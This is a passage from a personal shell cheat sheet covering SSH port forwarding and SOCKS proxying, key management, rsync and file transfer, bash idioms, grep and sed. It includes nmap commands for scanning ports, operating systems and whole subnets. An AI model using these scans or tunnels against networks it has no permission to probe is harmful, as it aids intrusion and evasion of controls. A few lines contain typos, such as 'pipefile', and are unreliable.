+---------------+ +--------------+ +---------------+
# EXAMPLE: sharing a deployed web app (remote port forwarding)
me> mkdir ./tmp/ && cd ./tmp/
me> echo "hello world" > index.html
me> python -m SimpleHTTPServer 8000
me> curl localhost:8000/index.html
hello world
me> ssh $PUBLICHOST grep GatewayPorts /etc/ssh/sshd_config
GatewayPorts yes
me> ssh -vnNTR 8080:localhost:8000 $PUBLICHOST
me> curl $PUBLICHOST:8080/index.html
hello world
you> curl $PUBLICHOST:8080/index.html
hello world
# Dynamic port forwarding
# EXAMPLE: Proxy with SOCKS 5 protocol
# A SOCKS proxy will tunnel all your traffic through an encrypted channel
$ curl -s ipinfo.io/ip
141.212.107.235
$ ssh $REMOTEHOST curl -s ipinfo.io/ip
141.212.107.123
$ ssh -vnNTD 1337 $REMOTEHOST
debug1: Local connections to LOCALHOST:1337 forwarded to remote address socks:0
$ curl --socks5 localhost:1337 ipinfo.io/ip
141.212.107.123
# Note: your web browser can also use the proxy at localhost:1337
# SSH keys
ssh-keygen # generate an SSH key pair
ssh-keygen -t rsa -b 4096 -C EMAIL # generate an SSH key pair, secure
ssh-keygen -R HOST # remove HOST from known_hosts
ssh-add -l # verify GPG-SSH connection
ssh-add -L # print public key from agent
# GPG + SSH keys
# Ref https://incenp.org/notes/2015/gnupg-for-ssh-authentication.html
echo enable-ssh-support >> ~/gpg-agent.conf
gpgconf --kill gpg-agent
gpgconf --launch gpg-agent
export SSH_AUTH_SOCK=$(gpgconf --list-dirs agent-ssh-socket)
gpg --with-keygrip --list-keys
echo KEYGRIP_OF_AUTH_SUBKEY >> ~/.gnupg/sshcontrol
brew install pinentry-mac
echo "pinentry-program /usr/local/bin/pinentry-mac" >> ~/.gnupg/gpg-agent.conf
ssh-add -l # verify GPG-SSH connection
gpg --export-ssh-key KEYID # print SSH public key
echo RELOADAGENT | gpg-connect-agent # reload gpg agent
# SSH files and permissions
chmod go-w ~/ # set permissions on local ssh config
chmod 700 ~/.ssh # set permissions on local ssh config
chmod 644 ~/.ssh/authorized_keys # set permissions on local ssh config
ssh-copy-id HOST # install public key on HOST
cat ~/.ssh/id_rsa.pub | ssh HOST "mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys" # install public key on HOST
gpg --export-ssh-key awdeorio | ssh HOST "cat >> ~/.ssh/authorized_keys" # w/GPG+SSH
# SSH agent forwarding (github example)
# https://developer.github.com/guides/using-ssh-agent-forwarding/
local > ssh -T git@github.com # check github connection
local > echo $SSH_AUTH_SOCK # check ssh-agent is running
local > ssh-add -L # check key is added
local > ssh-add ~/.ssh/id_dsa # add my key, temporary
local > ssh-add -K ~/.ssh/id_dsa # add my key, permanent, OSX
local > ssh -A SERVER # ssh to server, forwarding key
remote> server $ ssh -T git@github.com # check github connection
server $ echo $SSH_AUTH_SOCK # check ssh-agent is running
server $ git remote -v # check repo is cloned with SSH URL
server $ sudo -E # preserve environment when using sudo
# Intel SSH
cygwin $ export SSH_SOCKS_SERVER='socks://proxy-socks.jf.intel.com:1080'
cygwin $ ssh2.exe -L 22:localhost:22 ariel.eecs.umich.edu -s service
# now you can use ssh or svn
cygwin $ scp file localhost: # really sends the file to ariel.eecs.umich.edu
# Tunneling
sudo openvpn myconfig.ovpn # start VPN connection
sshuttle --dns -vvr HOST 0/0 # quick VPN over ssh
# Open an .rdp file for remote login to virtualsites
tsclient -x connect.rdp
rdesktop server:port -u awdeorio@UMICH.EDU
# File transfer
scp FILE HOST: # copy file to remote host over SSH
scp -r DIR HOST: # copy directory
rsync -avz DIR HOST:PATH/ # archive over the network
rsync -a # archive, equivalent to -rlptgoD
rsync -r # recursive
rsync -l # copy symlinks as symlinks
rsync -p # preserve permissions
rsync -t # preserve times
rsync -g # preserve group
rsync -o # preserve owner
rsync -D # preserve devices and special files
rsync -v # verbose
rsync -z # compress
rsync -P # progress bar
rsync -rvt # copy to/from USB stick
rsync --delete # delete files on target
rsync --filter=':- .gitignore' # don't copy files ignored by git
rsync --exclude '.git*' # don't copy git metadata
rsync --exclude 'folder/***' # don't copy contents of folder
rsync -e "ssh -i KEY.pem" ubuntu@HOST: # rsync to AWS/Ubuntu
ftp HOST # FTP
lftp HOST # FTP with extra features
sftp HOST # FTP over SSH
tftp # TFTP, e.g., for firmware flashing
# nmap
nmap HOST # what ports are open? On host.
nmap 192.168.0.0/24 # what ports are open? Many hosts.
nmap -A # OS, version, script and traceroute
nmap -T4 # Limit delay (faster results)
nmap -sn -PR 192.168.0.0/24 # which hosts are up my subnet?
nmap -O # OS detection
zenmap # GUI for nmap
# Shell scripting
yes # keep printing "y" over and over
yes STRING # keep printing STRING over and over
yes | INSTALL_CMD # answer yes to all installer questions
yes > file # quickly generate a big file
pv # monitor progress of data thru a pipe
exit N # exit N
true # exit zero
false # exit non-zero
tee FILE # copy stdin to both stdout and FILE
tee FILE1 FILE2 # copy stdin to stdout, FILE1, FILE2
tee /dev/stderr # copy stdin to both stdout and stderr
echo hello | tee FILE # write "hello" to both stdout and FILE
mktemp # create a temporary file
mktemp -t PREFIX # ^^^ starting with PREFIX
mktemp -d # create a temporary directory
mktemp -d -t hello-XXXXXXXX # ^^^ named .../hello-1yJnQgLM
basename /bin/bash # returns "bash"
dirname /bin/bash # return "/bin"
sleep # sleep (1, 1s, 1m, etc.)
seq 10 | xargs -n1 echo "hello" # do something N times (see also {1..N})
printf # C-workalike print function
# Bash shell scripting
set -Eeuo pipefail # Stop on errors
bash -n SCRIPT # Bash script syntax check
echo "hello world" # print stdout
echo "hello world" >&2 # print to stderr
echo "hello world" > FILE # print file
echo "hello world" >> FILE # append file
echo "hello world" &>> FILE # append stdout and stderr to file
CMD > /dev/null # ignore stdout
CMD 1>- # ignore stdout
CMD 2> /dev/null # ignore stderr
CMD 2>- # ignore stderr
CMD &> /dev/null # ignore both stdout and stderr
CMD > /dev/null 2>&1 # ignore both stdout and stderr
CMD &>- # ignore both stdout and stderr
CMD 2>&1 # copy stderr to stdout
CMD1 2>&1 | CMD2 # stdout + stderr -> pipe
CMD1 &| CMD2 # stdout + stderr -> pipe
0<&- # close stdin
<<TAG ... TAG # here document (for inline scripts)
<<-TAG ... TAG # ^^^ ignore leading tabs, *tabs only*
<<'TAG' ... TAG # ^^^ no variable expansion
cat > FILE << EOF ... EOF # ^^^ for writing a file
<<< "STRING" # here string
<( CMD ) # create a temporary named pipe
diff <(echo a) <(echo b) # diff the output of two commands
exec > >(tee logfile.txt); exec 2>&1; # copy stdout and stderr to log file
exec 1<&- # close stdout file descriptor
exec 2<&- # close stderr file descriptor
exec 1<>LOG_FILE # open stdout as LOG_FILE file for r/w
exec 2>&1 # redirect stderr to stdout
echo "this goes to LOG_FILE, not screen # (after above 4 exec commands)
$# # argc in bash
[ $# -lt 1 ] && exit 1 # check # args and quit
$@ # argv in bash
$0 # argv[0] in bash
set -o verbose # echo commands to stdout
cd $(dirname "$BASH_SOURCE") && pwd -P # absolute path of sourced script
eval # run in current shell
exec # spawn a new shell to replace current
TAB=$'\t' # TAB literal
echo "hello" | tee >(cat) >(cat) # copy stdout to two commands
set -u # error on unset variables
set -e # Abort on non-zero NOTE: pipes break it
set -o pipefile # ^^^ for pipes
set -x # Print commands
set +x # Stop print commands
{ set +x; } 2>/dev/null # Stop print commands silently
STR=$'hello\nworld' # String with newlines
EXTENSION="${FILENAME##*.}" # Parse file extension
CSVFILE="${TXTFILE%.txt}.csv" # Change file extension
for i in $(ls *.txt); do mv $i ${i%.txt}.md; done # Change many file extensions
IFS= read -s -p Password: PASSWORD # Ask user for password
for i in $(cat file); do # for loop, word-by-word
IFS=$'\n' for i in $(cat file); do # for loop, line-by-line
[ -z "${VAR}" ] # unset or set to the empty string
[ -z "${VAR+}" ] # unset
[ -z "${VAR-}" ] # set to the empty string
[ -n "${VAR}" ] # set to a non-empty string
[ -n "${VAR+}" ] # set, possibly to empty string
[ -n "${VAR-}" ] # either unset or set non-empty string
X=${X:=input} # Default value for X
hash CMD # return true if CMD is in PATH
echo {1..10} # expands to 1 2 3 ... 10 (see also seq)
printf 'a%.0s' {1..10} # Repeat letter 'a' 10 times
trap "FUNC" 1 2 3 15 # run FUNC on receiving a signal
trap "kill 0" SIGINT # kill all proc in proc group on ctrl-c
trap cleanup SIGHUP SIGINT SIGQUIT SIGKILL SIGTERM ERR # all but clean exit
# Bash script error handling
# https://medium.com/@dirk.avery/the-bash-trap-trap-ce6083f36700
set -e
trap 'catch $? $LINENO' EXIT
catch() {
echo "catching!"
if [ "$1" != "0" ]; then
# error handling goes here
echo "Error $1 occurred on $2"
fi
}
# Bash shell productivity
cp file{,.bak} # Backup a file
mv file{,.old} # Move a file
sudo !! # Repeat last command with sudo
ls !$ # Last item from last cmd
ls !^ # First (non-cmd) item from last cmd
ls !* # All (non-cmd) items from last cmd
ls -d */ # List only directories
echo !$:h # Directory part of prev cmd last item
echo !$:t # File part of prev cmd last item
echo !$:r # ^^^ w/o suffix
echo !$:e # Remove all but the suffix
[Ctrl + r] # Search history
[Ctrl + g] # Cancel search history
[Ctrl + p] # Prev history command
[Ctrl + n] # Next history command
[Alt + .] # Last word on prev history command
[Ctrl + l] # Clear screen
[Ctrl + s] # Stop output to the screen
[Ctrl + q] # Restart output to the screen
[Ctrl + c] # Terminate command
[Ctrl + z] # Suspend command
fg # Restart command in foreground
bg # Restart command in background
# grep
grep PATTERN # search for pattern
grep -E PATTERN # extended regex
grep -E '(PATTERN1|PATTERN2)' # two patterns
egrep PATTERN # extended regex
grep -o # only print the matched pattern
grep -v # invert match
grep -Ev '(PATTERN1|PATTERN2)' # invert two matches
grep -A10 # print match + 10 lines after
grep -B10 # print match + 10 lines before
grep -10 # same as grep -A10 -B10
grep -a -b -B100 -A100 phrase /dev/sda3 # recover deleted files
egrep -o "\w+([._-]\w)*@\w+([._-]\w)*\.\w{2,4}" -e # email addresses
# grep for tab in bash: Ctrl-V TAB
grep '^.\{10\}$' # 10 letter words
zgrep # grep gzip'ed files
fgrep # fixed patterns (no regex), faster
pcregrep # Perl Compatible Regex
grep -P # Perl regex
ptargrep # grep files insize a tarball
# The Silver Searcher
# https://github.com/ggreer/the_silver_searcher
# brew install the_silver_searcher
ag PATTERN # search for PATTERN
ag --list-file-types # supported filetype-specific searches
ag --python # Only Python files
ag -G .py # Filter by file extension or filename
# sed
sed -rn '/PATTERN/p' # grep work-a-like
sed -r # use extended regex
sed 1d # print all but first line
sed '$d' # print all but last line
sed -n '52p' # print line 52
sed '52q;d' # ^^^ efficient on large files
sed -n '45,50p' filename # print lines 45-50
sed -n '51q;45,50p' filename # ^^^ efficient on large files
sed -n '/BEGIN/,/END/p' # print lines between BEGIN and END
sed '/BEGIN/,/END/d' # delete lines between BEGIN and END
sed '/SENTINEL/q' # print lines before and incl. SENTINEL
sed -ne '/SENINTEL/,$ p' # print lines after and incl. SENTINEL
sed -i '' 's/before/after/g' # replace "before" with "after" (BSD)
sed -i 's/before/after/g' # replace "before" with "after" (GNU)
sed -i .bak 's/before/after/g' # ^^^ with backup
perl -pi -e 's/before/after/g' # ^^^ perl alternative
sed 's/\([a-z]*\).*/\1/' # keep only lowercase letters
sed 's/^/before/' # prepend every line
sed 's/$/after/' # append every line
sed '/before/d' # filter lines matching "before"
sed -nr 's/@@ ([0-9]+\.?[0-9]*) ns total time to execute/\1/p'
sed '1s/before/after/' # replace first line
sed -rn "s/^.*(PATTERN1).*(PATTERN2).*$/\1\t\2/p" # extract two fields
tac | sed -n '1,/PATTERN/p' | tac # print from last match to end of file
sed '/PATTERN1/s/PATTERN2/PATTERN3/' # match P1, then apply query-replace
perl -0pe 's/QUERY/REPLACE/sm' # multiline regex query-replace
# awk